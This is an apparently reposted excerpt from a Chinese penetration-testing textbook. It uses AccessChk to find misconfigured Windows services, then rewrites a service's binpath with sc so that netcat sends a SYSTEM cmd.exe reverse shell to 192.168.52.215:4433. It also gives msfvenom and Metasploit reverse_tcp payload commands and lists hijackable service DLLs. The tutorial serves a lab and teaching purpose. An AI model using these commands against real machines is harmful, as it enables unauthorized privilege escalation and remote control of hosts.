在实际渗透过程中,攻击者有可能获取了操作系统中的一个普通用户账号权限或者 WebShell 权
限,通过低权限用户进行越权,从而获取系统权限。其利用原理主要是通过微软的 AccessChk 工具
软件配合 SC 来操作服务,通过服务的重启而得到权限。
2.3.1 AccessChk 简介及使用
1.AccessChk 简介
AccessChk 是 Sysinternals 中的一个小工具,目前最新版本为 6.1。由于其新版本中存在一些 Bug,
在实际使用时会提示需要多个 dll 文件,因此在本案例中使用的是 3.0 版本,其官方网站提供的下载
地址为 https://technet.microsoft.com/en-us/Sysinternals/bb664922.aspx。
AccessChk 主要用来检查用户和用户组对文件、目录、注册表项、全局对象和系统服务的权限情
况,在实际配置过程中如果权限设置失误,就可能被用于提权。
2.使用 AccessChk
在命令行下第一次运行时需要同意一个许可。如果不想看到提示窗口,可以执行“accesschk.exe
/accepteula”命令,其主要参数如下。
usage: accesschk [-s][-e][-u][-r][-w][-n][-v][[-a]|[-k]|[-p [-f] [-t]][-o [-t
<object type>]][-c]|[-d]] [[-l [-i]]|[username]] <file, directory, registry key, process, service, object>
这个命令分为 3 个部分。“accesschk”是程序名;第 1 个参数有 9 个可选项,部分可选项里还有
可选参数;第 2 个参数是一个目标,这个目标可以是文件、目录、注册项、进程、服务、对象。
-a:Windows 账户权限。“*”作为显示所有分配给用户的权限名称,只有指定用户名称或者
组时才显示指派的权限。
-c:显示服务名称,“*”用于显示所有服务。
-d:仅处理目录或顶级键。
-e:只显示显式设置的完整性级别(Windows Vista 和更高版本)。
-f:显示包含组和特权的完整过程令牌信息。
-k:注册表键值,例如“hklm\software”。
-I:在取消完全访问控制列表时忽略只继承继承符的对象。
-l:显示全部访问控制列表。添加“-I”将忽略继承 ACE。
-n:仅显示没有访问权限的对象。
-o:名称是对象管理器命名空间中的一个对象(默认是 root)。查看一个目录的内容,用反
斜线或“-S”、“-T”和对象类型指定名称。
-p:进程名或者 PID,例如 cmd.exe(使用“*”显示所有的进程)。加“-f”显示包括组和特
权的所有进程令牌信息,加“-t”显示线程。
-q:省略标识。
-r:显示对象只读属性。
-s:递归。
-t:对象类型筛选器。
65
网络攻防实战研究:漏洞利用与提权
-u:抑制错误。
-v:冗长(包括 Windows Vista 完整性级别)。
-w:仅显示具有写访问权限的对象。
查看用户服务,查看管理员组、users 组下的所有服务,命令如下。
accesschk administrators -c *
accesschk users -c *
如图 2-10 所示,可以对某个用户进行查看,主要用来提权。例如,查看 simeon 用户所具备的读
写服务器权限,命令为“accesschk simeon -c * | find “RW””或者“accesschk simeon -cw *”。
图 2-10 查看指定用户的服务权限
查看用户组中对系统服务所具备的写权限,如果有则会显示,否则会提示“No matching objects found”,具体如下。
accesschk.exe -uwcqv “Authenticated Users” *
accesschk.exe -uwcqv “Administrators” *
accesschk.exe -uwcqv “Backup Operators” *
accesschk.exe -uwcqv “Distributed COM Users” *
accesschk.exe -uwcqv “Guests” *
accesschk.exe -uwcqv “HelpServicesGroup” *
accesschk.exe -uwcqv “IIS_WPG” *
accesschk.exe -uwcqv “Network Configuration Operators” *
accesschk.exe -uwcqv “Performance Monitor Users” *
accesschk.exe -uwcqv “Performance Log Users” *
accesschk.exe -uwcqv “Power Users” *
accesschk.exe -uwcqv “Print Operators” *
accesschk.exe -uwcqv “Remote Desktop Users” *
accesschk.exe -uwcqv “Replicator” *
accesschk.exe -uwcqv “TelnetClients” *
accesschk.exe -uwcqv “Users” *
2.3.2 获取低权限可操作服务的名称
1.实验环境
本次实验环境为 Windows Server 2003SP3,用户 simeon 属于 Power User 组,可登录系统,IP 地
址为 192.168.52.175。监听服务 IP 地址为 192.168.52.215。将 nc.exe 复制到 c:\windows\temp 目录下。
2.获取可读写的服务
执行以下命令获取 Power Users 组可以操作的服务名称信息,如图 2-11 所示。
accesschk.exe -uwcqv “Power Users” *
66
第 2 章 Windows 漏洞利用与提权
图 2-11 获取可读写的服务名称
执行后显示结果如下。
RW DcomLaunch
SERVICE_QUERY_STATUS
SERVICE_QUERY_CONFIG
SERVICE_CHANGE_CONFIG
SERVICE_INTERROGATE
SERVICE_ENUMERATE_DEPENDENTS
READ_CONTROL
RW kdc
SERVICE_QUERY_STATUS
SERVICE_QUERY_CONFIG
SERVICE_CHANGE_CONFIG
SERVICE_INTERROGATE
SERVICE_ENUMERATE_DEPENDENTS
READ_CONTROL
3.查询服务详细信息
名称为“DcomLaunch”、“kdc”的服务可以被 simeon 用户操作。使用“sc qc kdc”命令查询 kdc 服务的详细信息,如图 2-12 所示,可以看到该服务是以系统权限运行的。
图 2-12 查询 kdc 服务的详细信息
4.确定使用的服务
执行命令“net start”查看系统目前已经启动的服务,也可以使用以下命令直接获取。如图 2-13
所示,在启动服务列表中发现“DCOM Server Process Launcher”服务的名称。
net start | find “DCOM Server Process Launcher”
net start | find “Kerberos Key Distribution Center”
67
网络攻防实战研究:漏洞利用与提权
图 2-13 获取服务名称
5.获取服务名称所对应的服务
使用命令“tasklist /svc”,获取“DCOM Server Process Launcher”服务名称所对
应的服务“DcomLaunch”。
2.3.3 修改服务并获取系统权限
1.修改服务参数 binpath 的值
使用 sc 命令对服务进行修改,具体如下。
sc config DcomLaunch binpath= “C:\windows\temp\nc.exe -nv 192.168.52.215 4433
-e C:\WINDOWS\System32\cmd.exe”
如图 2-15 所示,执行命令后,显示修改服务配置成功。再次使用“sc qc DcomLaunch”命令,
执行文件已经更改为“C:\windows\temp\nc.exe -nv 192.168.52.215 4433 -e C:\WINDOWS\System32\ cmd.exe”。查询服务的命令为“sc qc DcomLaunch”。
图 2-15 修改 binpath 的值
68
第 2 章 Windows 漏洞利用与提权
2.重新启动服务
先执行“sc config DcomLaunch obj= “.\LocalSystem” password= “””命令,然后使用“net start DcomLaunch”命令启动(也可以通过 services.msc 服务管理器重启该服务),如图 2-16 所示。
图 2-16 重新启动服务
3.反弹获取服务器权限
如图 2-17 所示,在反弹服务器 192.168.52.215 中监听 4433 端口,成功获取来自 192.168.52.175
的反弹,且为系统权限。
图 2-17 反弹获取服务器权限
4.总结
在 Windows XP、Windows Server 2003、Windows 7(32/64)下有一些 dll 文件也可以被替换,具
体如下。
IKE and AuthIP IPsec Keying Modules (IKEEXT):wlbsctrl.dll。
Windows Media Center Receiver Service (ehRecvr):ehETW.dll。
Windows Media Center Scheduler Service (ehSched):ehETW.dll。
Automatic Updates (wuauserv):ifsproxy.dll。
网络攻防实战研究:漏洞利用与提权
Remote Desktop Help Session Manager (RDSessMgr):SalemHook.dll。
Remote Access Connection Manager (RasMan):ipbootp.dll。
Windows Management Instrumentation (winmgmt):wbemcore.dll。
Audio Service (STacSV):SFFXComm.dll SFCOM.DLL。
Intel(R) Rapid Storage Technology (IAStorDataMgrSvc):DriverSim.dll。
Juniper Unified Network Service(JuniperAccessService):dsLogService.dll。
可以使用 MSF 生成 exe 文件。
用 Linux MSF 监听 4433 端口,命令如下。
./msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.52.215 lport=4433
-f exe -o /tmp/my_payload.exe
在 Windows 下监听 4433 端口,命令如下。
./msfvenom -p windows/shell_reverse_tcp lhost=192.168.52.215 lport=4433 -f exe
-o /tmp/w.exe
在 MSF 上执行如下命令。
set payload windows/meterpreter/reverse_tcp
show options
set lhost 192.168.52.215
set lport 4433
run 0
将生成的“/tmp/my_payload.exe”按照本书的方法执行,即可得到反弹的 WebShell。
没有回复内容